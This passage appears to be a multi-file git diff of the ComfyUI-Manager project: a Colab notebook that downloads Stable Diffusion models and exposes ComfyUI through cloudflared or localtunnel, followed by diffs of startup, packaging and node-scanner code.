"!wget -c https://huggingface.co/runwayml/stable-diffusion-v1-5/resolve/main/v1-5-pruned-emaonly.ckpt -P ./models/checkpoints/\n",
|
||||
"\n",
|
||||
"# SD2\n",
|
||||
"#!wget -c https://huggingface.co/stabilityai/stable-diffusion-2-1-base/resolve/main/v2-1_512-ema-pruned.safetensors -P ./models/checkpoints/\n",
|
||||
"#!wget -c https://huggingface.co/stabilityai/stable-diffusion-2-1/resolve/main/v2-1_768-ema-pruned.safetensors -P ./models/checkpoints/\n",
|
||||
"\n",
|
||||
"# Some SD1.5 anime style\n",
|
||||
"#!wget -c https://huggingface.co/WarriorMama777/OrangeMixs/resolve/main/Models/AbyssOrangeMix2/AbyssOrangeMix2_hard.safetensors -P ./models/checkpoints/\n",
|
||||
"#!wget -c https://huggingface.co/WarriorMama777/OrangeMixs/resolve/main/Models/AbyssOrangeMix3/AOM3A1_orangemixs.safetensors -P ./models/checkpoints/\n",
|
||||
"#!wget -c https://huggingface.co/WarriorMama777/OrangeMixs/resolve/main/Models/AbyssOrangeMix3/AOM3A3_orangemixs.safetensors -P ./models/checkpoints/\n",
|
||||
"#!wget -c https://huggingface.co/Linaqruf/anything-v3.0/resolve/main/anything-v3-fp16-pruned.safetensors -P ./models/checkpoints/\n",
|
||||
"\n",
|
||||
"# Waifu Diffusion 1.5 (anime style SD2.x 768-v)\n",
|
||||
"#!wget -c https://huggingface.co/waifu-diffusion/wd-1-5-beta3/resolve/main/wd-illusion-fp16.safetensors -P ./models/checkpoints/\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"# unCLIP models\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/illuminatiDiffusionV1_v11_unCLIP/resolve/main/illuminatiDiffusionV1_v11-unclip-h-fp16.safetensors -P ./models/checkpoints/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/wd-1.5-beta2_unCLIP/resolve/main/wd-1-5-beta2-aesthetic-unclip-h-fp16.safetensors -P ./models/checkpoints/\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"# VAE\n",
|
||||
"!wget -c https://huggingface.co/stabilityai/sd-vae-ft-mse-original/resolve/main/vae-ft-mse-840000-ema-pruned.safetensors -P ./models/vae/\n",
|
||||
"#!wget -c https://huggingface.co/WarriorMama777/OrangeMixs/resolve/main/VAEs/orangemix.vae.pt -P ./models/vae/\n",
|
||||
"#!wget -c https://huggingface.co/hakurei/waifu-diffusion-v1-4/resolve/main/vae/kl-f8-anime2.ckpt -P ./models/vae/\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"# Loras\n",
|
||||
"#!wget -c https://civitai.com/api/download/models/10350 -O ./models/loras/theovercomer8sContrastFix_sd21768.safetensors #theovercomer8sContrastFix SD2.x 768-v\n",
|
||||
"#!wget -c https://civitai.com/api/download/models/10638 -O ./models/loras/theovercomer8sContrastFix_sd15.safetensors #theovercomer8sContrastFix SD1.x\n",
|
||||
"#!wget -c https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_offset_example-lora_1.0.safetensors -P ./models/loras/ #SDXL offset noise lora\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"# T2I-Adapter\n",
|
||||
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_depth_sd14v1.pth -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_seg_sd14v1.pth -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_sketch_sd14v1.pth -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_keypose_sd14v1.pth -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_openpose_sd14v1.pth -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_color_sd14v1.pth -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_canny_sd14v1.pth -P ./models/controlnet/\n",
|
||||
"\n",
|
||||
"# T2I Styles Model\n",
|
||||
"#!wget -c https://huggingface.co/TencentARC/T2I-Adapter/resolve/main/models/t2iadapter_style_sd14v1.pth -P ./models/style_models/\n",
|
||||
"\n",
|
||||
"# CLIPVision model (needed for styles model)\n",
|
||||
"#!wget -c https://huggingface.co/openai/clip-vit-large-patch14/resolve/main/pytorch_model.bin -O ./models/clip_vision/clip_vit14.bin\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"# ControlNet\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11e_sd15_ip2p_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11e_sd15_shuffle_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_canny_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11f1p_sd15_depth_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_inpaint_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_lineart_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_mlsd_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_normalbae_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_openpose_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_scribble_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_seg_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15_softedge_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11p_sd15s2_lineart_anime_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/ControlNet-v1-1_fp16_safetensors/resolve/main/control_v11u_sd15_tile_fp16.safetensors -P ./models/controlnet/\n",
|
||||
"\n",
|
||||
"# ControlNet SDXL\n",
|
||||
"#!wget -c https://huggingface.co/stabilityai/control-lora/resolve/main/control-LoRAs-rank256/control-lora-canny-rank256.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/stabilityai/control-lora/resolve/main/control-LoRAs-rank256/control-lora-depth-rank256.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/stabilityai/control-lora/resolve/main/control-LoRAs-rank256/control-lora-recolor-rank256.safetensors -P ./models/controlnet/\n",
|
||||
"#!wget -c https://huggingface.co/stabilityai/control-lora/resolve/main/control-LoRAs-rank256/control-lora-sketch-rank256.safetensors -P ./models/controlnet/\n",
|
||||
"\n",
|
||||
"# Controlnet Preprocessor nodes by Fannovel16\n",
|
||||
"#!cd custom_nodes && git clone https://github.com/Fannovel16/comfy_controlnet_preprocessors; cd comfy_controlnet_preprocessors && python install.py\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"# GLIGEN\n",
|
||||
"#!wget -c https://huggingface.co/comfyanonymous/GLIGEN_pruned_safetensors/resolve/main/gligen_sd14_textbox_pruned_fp16.safetensors -P ./models/gligen/\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"# ESRGAN upscale model\n",
|
||||
"#!wget -c https://github.com/xinntao/Real-ESRGAN/releases/download/v0.1.0/RealESRGAN_x4plus.pth -P ./models/upscale_models/\n",
|
||||
"#!wget -c https://huggingface.co/sberbank-ai/Real-ESRGAN/resolve/main/RealESRGAN_x2.pth -P ./models/upscale_models/\n",
|
||||
"#!wget -c https://huggingface.co/sberbank-ai/Real-ESRGAN/resolve/main/RealESRGAN_x4.pth -P ./models/upscale_models/\n",
|
||||
"\n",
|
||||
"\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"metadata": {
|
||||
"id": "kkkkkkkkkkkkkkk"
|
||||
},
|
||||
"source": [
|
||||
"### Run ComfyUI with cloudflared (Recommended Way)\n",
|
||||
"\n",
|
||||
"\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"metadata": {
|
||||
"id": "jjjjjjjjjjjjjj"
|
||||
},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"!wget -P ~ https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb\n",
|
||||
"!dpkg -i ~/cloudflared-linux-amd64.deb\n",
|
||||
"\n",
|
||||
"import subprocess\n",
|
||||
"import threading\n",
|
||||
"import time\n",
|
||||
"import socket\n",
|
||||
"import urllib.request\n",
|
||||
"\n",
|
||||
"def iframe_thread(port):\n",
|
||||
" while True:\n",
|
||||
" time.sleep(0.5)\n",
|
||||
" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
|
||||
" result = sock.connect_ex(('127.0.0.1', port))\n",
|
||||
" if result == 0:\n",
|
||||
" break\n",
|
||||
" sock.close()\n",
|
||||
" print(\"\\nComfyUI finished loading, trying to launch cloudflared (if it gets stuck here cloudflared is having issues)\\n\")\n",
|
||||
"\n",
|
||||
" p = subprocess.Popen([\"cloudflared\", \"tunnel\", \"--url\", \"http://127.0.0.1:{}\".format(port)], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n",
|
||||
" for line in p.stderr:\n",
|
||||
" l = line.decode()\n",
|
||||
" if \"trycloudflare.com \" in l:\n",
|
||||
" print(\"This is the URL to access ComfyUI:\", l[l.find(\"http\"):], end='')\n",
|
||||
" #print(l, end='')\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"threading.Thread(target=iframe_thread, daemon=True, args=(8188,)).start()\n",
|
||||
"\n",
|
||||
"!python main.py --dont-print-server"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"metadata": {
|
||||
"id": "kkkkkkkkkkkkkk"
|
||||
},
|
||||
"source": [
|
||||
"### Run ComfyUI with localtunnel\n",
|
||||
"\n",
|
||||
"\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"metadata": {
|
||||
"id": "jjjjjjjjjjjjj"
|
||||
},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"!npm install -g localtunnel\n",
|
||||
"\n",
|
||||
"import subprocess\n",
|
||||
"import threading\n",
|
||||
"import time\n",
|
||||
"import socket\n",
|
||||
"import urllib.request\n",
|
||||
"\n",
|
||||
"def iframe_thread(port):\n",
|
||||
" while True:\n",
|
||||
" time.sleep(0.5)\n",
|
||||
" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
|
||||
" result = sock.connect_ex(('127.0.0.1', port))\n",
|
||||
" if result == 0:\n",
|
||||
" break\n",
|
||||
" sock.close()\n",
|
||||
" print(\"\\nComfyUI finished loading, trying to launch localtunnel (if it gets stuck here localtunnel is having issues)\\n\")\n",
|
||||
"\n",
|
||||
" print(\"The password/enpoint ip for localtunnel is:\", urllib.request.urlopen('https://ipv4.icanhazip.com').read().decode('utf8').strip(\"\\n\"))\n",
|
||||
" p = subprocess.Popen([\"lt\", \"--port\", \"{}\".format(port)], stdout=subprocess.PIPE)\n",
|
||||
" for line in p.stdout:\n",
|
||||
" print(line.decode(), end='')\n",
|
||||
"\n",
|
||||
"\n",
|
||||
"threading.Thread(target=iframe_thread, daemon=True, args=(8188,)).start()\n",
|
||||
"\n",
|
||||
"!python main.py --dont-print-server"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "markdown",
|
||||
"metadata": {
|
||||
"id": "gggggggggg"
|
||||
},
|
||||
"source": [
|
||||
"### Run ComfyUI with colab iframe (use only in case the previous way with localtunnel doesn't work)\n",
|
||||
"\n",
|
||||
"You should see the ui appear in an iframe. If you get a 403 error, it's your firefox settings or an extension that's messing things up.\n",
|
||||
"\n",
|
||||
"If you want to open it in another window use the link.\n",
|
||||
"\n",
|
||||
"Note that some UI features like live image previews won't work because the colab iframe blocks websockets."
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"metadata": {
|
||||
"id": "hhhhhhhhhh"
|
||||
},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"import threading\n",
|
||||
"import time\n",
|
||||
"import socket\n",
|
||||
"def iframe_thread(port):\n",
|
||||
" while True:\n",
|
||||
" time.sleep(0.5)\n",
|
||||
" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n",
|
||||
" result = sock.connect_ex(('127.0.0.1', port))\n",
|
||||
" if result == 0:\n",
|
||||
" break\n",
|
||||
" sock.close()\n",
|
||||
" from google.colab import output\n",
|
||||
" output.serve_kernel_port_as_iframe(port, height=1024)\n",
|
||||
" print(\"to open it in a window you can open this link here:\")\n",
|
||||
" output.serve_kernel_port_as_window(port)\n",
|
||||
"\n",
|
||||
"threading.Thread(target=iframe_thread, daemon=True, args=(8188,)).start()\n",
|
||||
"\n",
|
||||
"!python main.py --dont-print-server"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"accelerator": "GPU",
|
||||
"colab": {
|
||||
"provenance": []
|
||||
},
|
||||
"gpuClass": "standard",
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"name": "python"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 0
|
||||
}
|
||||
+526
-1037
File diff suppressed because it is too large
Load Diff
@@ -12,15 +12,32 @@ import ast
|
||||
import logging
|
||||
import traceback
|
||||
|
||||
from .common import security_check
|
||||
from .common import manager_util
|
||||
from .common import cm_global
|
||||
from .common import manager_downloader
|
||||
from .common.timestamp_utils import current_timestamp
|
||||
glob_path = os.path.join(os.path.dirname(__file__), "glob")
|
||||
sys.path.append(glob_path)
|
||||
|
||||
import security_check
|
||||
import manager_util
|
||||
import cm_global
|
||||
import manager_downloader
|
||||
import folder_paths
|
||||
|
||||
manager_util.add_python_path_to_env()
|
||||
|
||||
import datetime as dt
|
||||
|
||||
if hasattr(dt, 'datetime'):
|
||||
from datetime import datetime as dt_datetime
|
||||
|
||||
def current_timestamp():
|
||||
return dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
|
||||
else:
|
||||
# NOTE: Occurs in some Mac environments.
|
||||
import time
|
||||
logging.error(f"[ComfyUI-Manager] fallback timestamp mode\n datetime module is invalid: '{dt.__file__}'")
|
||||
|
||||
def current_timestamp():
|
||||
return str(time.time()).split('.')[0]
|
||||
|
||||
|
||||
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'}
|
||||
cm_global.pip_downgrade_blacklist = ['torch', 'torchaudio', 'torchsde', 'torchvision', 'transformers', 'safetensors', 'kornia']
|
||||
@@ -49,14 +66,16 @@ def is_import_failed_extension(name):
|
||||
comfy_path = os.environ.get('COMFYUI_PATH')
|
||||
comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
|
||||
|
||||
if comfy_path is None:
|
||||
# legacy env var
|
||||
comfy_path = os.environ.get('COMFYUI_PATH')
|
||||
|
||||
if comfy_path is None:
|
||||
comfy_path = os.path.abspath(os.path.dirname(sys.modules['__main__'].__file__))
|
||||
os.environ['COMFYUI_PATH'] = comfy_path
|
||||
|
||||
if comfy_base_path is None:
|
||||
comfy_base_path = comfy_path
|
||||
|
||||
|
||||
sys.__comfyui_manager_register_message_collapse = register_message_collapse
|
||||
sys.__comfyui_manager_is_import_failed_extension = is_import_failed_extension
|
||||
cm_global.register_api('cm.register_message_collapse', register_message_collapse)
|
||||
@@ -66,12 +85,23 @@ cm_global.register_api('cm.is_import_failed_extension', is_import_failed_extensi
|
||||
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
|
||||
|
||||
custom_nodes_base_path = folder_paths.get_folder_paths('custom_nodes')[0]
|
||||
manager_files_path = folder_paths.get_system_user_directory("manager")
|
||||
|
||||
# Check for System User API availability (PR #10966)
|
||||
_has_system_user_api = hasattr(folder_paths, 'get_system_user_directory')
|
||||
|
||||
if _has_system_user_api:
|
||||
manager_files_path = os.path.abspath(os.path.join(folder_paths.get_user_directory(), '__manager'))
|
||||
else:
|
||||
manager_files_path = os.path.abspath(os.path.join(folder_paths.get_user_directory(), 'default', 'ComfyUI-Manager'))
|
||||
|
||||
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
|
||||
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
|
||||
restore_snapshot_path = os.path.join(manager_files_path, "startup-scripts", "restore-snapshot.json")
|
||||
manager_config_path = os.path.join(manager_files_path, 'config.ini')
|
||||
|
||||
cm_cli_path = os.path.join(comfyui_manager_path, "cm-cli.py")
|
||||
|
||||
|
||||
default_conf = {}
|
||||
|
||||
def read_config():
|
||||
@@ -88,11 +118,6 @@ def read_uv_mode():
|
||||
if 'use_uv' in default_conf:
|
||||
manager_util.use_uv = default_conf['use_uv'].lower() == 'true'
|
||||
|
||||
|
||||
def read_unified_resolver_mode():
|
||||
if 'use_unified_resolver' in default_conf:
|
||||
manager_util.use_unified_resolver = default_conf['use_unified_resolver'].lower() == 'true'
|
||||
|
||||
def check_file_logging():
|
||||
global enable_file_logging
|
||||
if 'file_logging' in default_conf and default_conf['file_logging'].lower() == 'false':
|
||||
@@ -101,14 +126,9 @@ def check_file_logging():
|
||||
|
||||
read_config()
|
||||
read_uv_mode()
|
||||
read_unified_resolver_mode()
|
||||
security_check.security_check()
|
||||
check_file_logging()
|
||||
|
||||
# Module-level flag set by startup batch resolver when it succeeds.
|
||||
# Used by execute_lazy_install_script() to skip per-node pip installs.
|
||||
_unified_resolver_succeeded = False
|
||||
|
||||
cm_global.pip_overrides = {}
|
||||
|
||||
if os.path.exists(manager_pip_overrides_path):
|
||||
@@ -350,13 +370,10 @@ try:
|
||||
pass
|
||||
|
||||
with std_log_lock:
|
||||
try:
|
||||
if self.is_stdout:
|
||||
original_stdout.flush()
|
||||
else:
|
||||
original_stderr.flush()
|
||||
except (OSError, ValueError):
|
||||
pass
|
||||
if self.is_stdout:
|
||||
original_stdout.flush()
|
||||
else:
|
||||
original_stderr.flush()
|
||||
|
||||
def close(self):
|
||||
self.flush()
|
||||
@@ -391,11 +408,7 @@ try:
|
||||
def emit(self, record):
|
||||
global is_start_mode
|
||||
|
||||
try:
|
||||
message = record.getMessage()
|
||||
except Exception as e:
|
||||
message = f"<<logging error>>: {record} - {e}"
|
||||
original_stderr.write(message)
|
||||
message = record.getMessage()
|
||||
|
||||
if is_start_mode:
|
||||
match = re.search(pat_import_fail, message)
|
||||
@@ -438,6 +451,35 @@ except Exception as e:
|
||||
print(f"[ComfyUI-Manager] Logging failed: {e}")
|
||||
|
||||
|
||||
def ensure_dependencies():
|
||||
try:
|
||||
import git # noqa: F401
|
||||
import toml # noqa: F401
|
||||
import rich # noqa: F401
|
||||
import chardet # noqa: F401
|
||||
except ModuleNotFoundError:
|
||||
my_path = os.path.dirname(__file__)
|
||||
requirements_path = os.path.join(my_path, "requirements.txt")
|
||||
|
||||
print("## ComfyUI-Manager: installing dependencies. (GitPython)")
|
||||
try:
|
||||
subprocess.check_output(manager_util.make_pip_cmd(['install', '-r', requirements_path]))
|
||||
except subprocess.CalledProcessError:
|
||||
print("## [ERROR] ComfyUI-Manager: Attempting to reinstall dependencies using an alternative method.")
|
||||
try:
|
||||
subprocess.check_output(manager_util.make_pip_cmd(['install', '--user', '-r', requirements_path]))
|
||||
except subprocess.CalledProcessError:
|
||||
print("## [ERROR] ComfyUI-Manager: Failed to install the GitPython package in the correct Python environment. Please install it manually in the appropriate environment. (You can seek help at https://app.element.io/#/room/%23comfyui_space%3Amatrix.org)")
|
||||
|
||||
try:
|
||||
print("## ComfyUI-Manager: installing dependencies done.")
|
||||
except:
|
||||
# maybe we should sys.exit() here? there is at least two screens worth of error messages still being pumped after our error messages
|
||||
print("## [ERROR] ComfyUI-Manager: GitPython package seems to be installed, but failed to load somehow. Make sure you have a working git client installed")
|
||||
|
||||
ensure_dependencies()
|
||||
|
||||
|
||||
print("** ComfyUI startup time:", current_timestamp())
|
||||
print("** Platform:", platform.system())
|
||||
print("** Python version:", sys.version)
|
||||
@@ -461,7 +503,7 @@ def read_downgrade_blacklist():
|
||||
items = [x.strip() for x in items if x != '']
|
||||
cm_global.pip_downgrade_blacklist += items
|
||||
cm_global.pip_downgrade_blacklist = list(set(cm_global.pip_downgrade_blacklist))
|
||||
except Exception:
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
@@ -482,6 +524,7 @@ check_bypass_ssl()
|
||||
|
||||
# Perform install
|
||||
processed_install = set()
|
||||
# Use manager_files_path for consistency (fixes path inconsistency bug)
|
||||
script_list_path = os.path.join(manager_files_path, "startup-scripts", "install-scripts.txt")
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, manager_files_path)
|
||||
|
||||
@@ -567,10 +610,7 @@ if os.path.exists(restore_snapshot_path):
|
||||
if 'COMFYUI_FOLDERS_BASE_PATH' not in new_env:
|
||||
new_env["COMFYUI_FOLDERS_BASE_PATH"] = comfy_path
|
||||
|
||||
if 'COMFYUI_PATH' not in new_env:
|
||||
new_env['COMFYUI_PATH'] = os.path.dirname(folder_paths.__file__)
|
||||
|
||||
cmd_str = [sys.executable, '-m', 'cm_cli', 'restore-snapshot', restore_snapshot_path]
|
||||
cmd_str = [sys.executable, cm_cli_path, 'restore-snapshot', restore_snapshot_path]
|
||||
exit_code = process_wrap(cmd_str, custom_nodes_base_path, handler=msg_capture, env=new_env)
|
||||
|
||||
if exit_code != 0:
|
||||
@@ -591,8 +631,7 @@ def execute_lazy_install_script(repo_path, executable):
|
||||
install_script_path = os.path.join(repo_path, "install.py")
|
||||
requirements_path = os.path.join(repo_path, "requirements.txt")
|
||||
|
||||
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
|
||||
# Per-node pip install: only runs if unified resolver is disabled or failed
|
||||
if os.path.exists(requirements_path):
|
||||
print(f"Install: pip packages for '{repo_path}'")
|
||||
|
||||
lines = manager_util.robust_readlines(requirements_path)
|
||||
@@ -762,40 +801,12 @@ def execute_startup_script():
|
||||
print("#######################################################################\n")
|
||||
|
||||
|
||||
# --- Unified dependency resolver: batch resolution at startup ---
|
||||
# Runs unconditionally when enabled, independent of install-scripts.txt existence.
|
||||
if manager_util.use_unified_resolver:
|
||||
try:
|
||||
from .common.unified_dep_resolver import (
|
||||
UnifiedDepResolver,
|
||||
UvNotAvailableError,
|
||||
collect_base_requirements,
|
||||
collect_node_pack_paths,
|
||||
)
|
||||
|
||||
_resolver = UnifiedDepResolver(
|
||||
node_pack_paths=collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes')),
|
||||
base_requirements=collect_base_requirements(comfy_path),
|
||||
blacklist=set(),
|
||||
overrides={},
|
||||
downgrade_blacklist=[],
|
||||
)
|
||||
_result = _resolver.resolve_and_install()
|
||||
if _result.success:
|
||||
_unified_resolver_succeeded = True
|
||||
logging.info("[UnifiedDepResolver] startup batch resolution succeeded")
|
||||
else:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] startup batch failed: %s, falling back to per-node pip", _result.error)
|
||||
except UvNotAvailableError:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] uv not available at startup, falling back to per-node pip")
|
||||
except Exception as e:
|
||||
manager_util.use_unified_resolver = False
|
||||
logging.warning("[UnifiedDepResolver] startup error: %s, falling back to per-node pip", e)
|
||||
|
||||
# Check if script_list_path exists
|
||||
if os.path.exists(script_list_path):
|
||||
# Block startup-scripts on old ComfyUI (security measure)
|
||||
if not _has_system_user_api:
|
||||
if os.path.exists(script_list_path):
|
||||
print("[ComfyUI-Manager] Startup scripts blocked on old ComfyUI version.")
|
||||
elif os.path.exists(script_list_path):
|
||||
execute_startup_script()
|
||||
|
||||
|
||||
+8
-58
@@ -1,65 +1,15 @@
|
||||
[build-system]
|
||||
requires = ["setuptools >= 61.0"]
|
||||
build-backend = "setuptools.build_meta"
|
||||
|
||||
[project]
|
||||
name = "comfyui-manager"
|
||||
license = { text = "GPL-3.0-only" }
|
||||
version = "4.1"
|
||||
requires-python = ">= 3.9"
|
||||
description = "ComfyUI-Manager provides features to install and manage custom nodes for ComfyUI, as well as various functionalities to assist with ComfyUI."
|
||||
readme = "README.md"
|
||||
keywords = ["comfyui", "comfyui-manager"]
|
||||
|
||||
maintainers = [
|
||||
{ name = "Dr.Lt.Data", email = "dr.lt.data@gmail.com" },
|
||||
{ name = "Yoland Yan", email = "yoland@comfy.org" },
|
||||
{ name = "James Kwon", email = "hongilkwon316@gmail.com" },
|
||||
{ name = "Robin Huang", email = "robin@comfy.org" },
|
||||
]
|
||||
|
||||
classifiers = [
|
||||
"Development Status :: 5 - Production/Stable",
|
||||
"Intended Audience :: Developers",
|
||||
"License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
|
||||
]
|
||||
|
||||
dependencies = [
|
||||
"GitPython",
|
||||
"PyGithub",
|
||||
# "matrix-nio",
|
||||
"transformers",
|
||||
"huggingface-hub>0.20",
|
||||
"typer",
|
||||
"rich",
|
||||
"typing-extensions",
|
||||
"toml",
|
||||
"uv",
|
||||
"chardet"
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
dev = ["pre-commit", "pytest", "ruff", "pytest-cov"]
|
||||
version = "3.39"
|
||||
license = { file = "LICENSE.txt" }
|
||||
dependencies = ["GitPython", "PyGithub", "matrix-nio", "transformers", "huggingface-hub>0.20", "typer", "rich", "typing-extensions", "toml", "uv", "chardet"]
|
||||
|
||||
[project.urls]
|
||||
Repository = "https://github.com/ltdrdata/ComfyUI-Manager"
|
||||
# Used by Comfy Registry https://comfyregistry.org
|
||||
|
||||
[tool.setuptools.packages.find]
|
||||
where = ["."]
|
||||
include = ["comfyui_manager*", "cm_cli*"]
|
||||
|
||||
[project.scripts]
|
||||
cm-cli = "cm_cli:main"
|
||||
|
||||
[tool.ruff]
|
||||
line-length = 120
|
||||
target-version = "py39"
|
||||
|
||||
[tool.ruff.lint]
|
||||
select = [
|
||||
"E4", # default
|
||||
"E7", # default
|
||||
"E9", # default
|
||||
"F", # default
|
||||
"I", # isort-like behavior (import statement sorting)
|
||||
]
|
||||
[tool.comfy]
|
||||
PublisherId = "drltdata"
|
||||
DisplayName = "ComfyUI-Manager"
|
||||
Icon = ""
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
GitPython
|
||||
PyGithub
|
||||
# matrix-nio
|
||||
matrix-nio
|
||||
transformers
|
||||
huggingface-hub
|
||||
typer
|
||||
|
||||
@@ -9,4 +9,4 @@ lint.select = [
|
||||
"F",
|
||||
]
|
||||
|
||||
exclude = ["*.ipynb", "tests"]
|
||||
exclude = ["*.ipynb"]
|
||||
|
||||
+601
-18
@@ -16,6 +16,108 @@ import sys
|
||||
|
||||
from urllib.parse import urlparse
|
||||
from github import Github, Auth
|
||||
from pathlib import Path
|
||||
from typing import Set, Dict, Optional
|
||||
|
||||
# Scanner version for cache invalidation
|
||||
SCANNER_VERSION = "2.0.11" # Multi-layer detection: class existence + display names
|
||||
|
||||
# Cache for extract_nodes and extract_nodes_enhanced results
|
||||
_extract_nodes_cache: Dict[str, Set[str]] = {}
|
||||
_extract_nodes_enhanced_cache: Dict[str, Set[str]] = {}
|
||||
_file_mtime_cache: Dict[Path, float] = {}
|
||||
|
||||
|
||||
def _get_repo_root(file_path: Path) -> Optional[Path]:
|
||||
"""Find the repository root directory containing .git"""
|
||||
current = file_path if file_path.is_dir() else file_path.parent
|
||||
while current != current.parent:
|
||||
if (current / ".git").exists():
|
||||
return current
|
||||
current = current.parent
|
||||
return None
|
||||
|
||||
|
||||
def _get_repo_hash(repo_path: Path) -> str:
|
||||
"""Get git commit hash or fallback identifier"""
|
||||
git_dir = repo_path / ".git"
|
||||
if not git_dir.exists():
|
||||
return ""
|
||||
|
||||
try:
|
||||
# Read HEAD to get current commit
|
||||
head_file = git_dir / "HEAD"
|
||||
if head_file.exists():
|
||||
head_content = head_file.read_text().strip()
|
||||
if head_content.startswith("ref:"):
|
||||
# HEAD points to a ref
|
||||
ref_path = git_dir / head_content[5:].strip()
|
||||
if ref_path.exists():
|
||||
commit_hash = ref_path.read_text().strip()
|
